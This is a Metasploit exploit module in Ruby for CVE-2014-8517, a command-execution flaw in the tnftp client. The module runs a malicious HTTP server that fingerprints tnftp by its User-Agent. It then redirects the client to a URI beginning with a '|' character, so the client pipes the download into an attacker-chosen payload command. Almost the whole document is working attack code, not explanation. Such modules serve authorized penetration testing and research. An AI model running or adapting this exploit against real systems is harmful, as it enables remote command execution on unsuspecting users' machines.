tnftp "savefile" Arbitrary Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'tnftp "savefile" Arbitrary Command Execution',  
'Description' => %q{  
This module exploits an arbitrary command execution vulnerability in  
tnftp's handling of the resolved output filename - called "savefile" in  
the source - from a requested resource.  
  
If tnftp is executed without the -o command-line option, it will resolve  
the output filename from the last component of the requested resource.  
  
If the output filename begins with a "|" character, tnftp will pass the  
fetched resource's output to the command directly following the "|"  
character through the use of the popen() function.  
},  
'Author' => [  
'Jared McNeill', # Vulnerability discovery  
'wvu' # Metasploit module  
],  
'References' => [  
['CVE', '2014-8517'],  
['URL', 'http://seclists.org/oss-sec/2014/q4/459']  
],  
'DisclosureDate' => 'Oct 28 2014',  
'License' => MSF_LICENSE,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Payload' => {'BadChars' => '/'},  
'Targets' => [['ftp(1)', {}]],  
'DefaultTarget' => 0  
))  
end  
  
def on_request_uri(cli, request)  
unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/  
print_status("#{request['User-Agent']} connected")  
send_not_found(cli)  
return  
end  
  
if request.uri.ends_with?(sploit)  
send_response(cli, '')  
print_good("Executing `#{payload.encoded}'!")  
report_vuln(  
:host => cli.peerhost,  
:name => self.name,  
:refs => self.references,  
:info => request['User-Agent']  
)  
else  
print_status("#{request['User-Agent']} connected")  
print_status('Redirecting to exploit...')  
send_redirect(cli, sploit_uri)  
end  
end  
  
def sploit_uri  
(get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +  
Rex::Text.uri_encode(sploit, 'hex-all')  
end  
  
def sploit  
"|#{payload.encoded}"  
end  
end  
`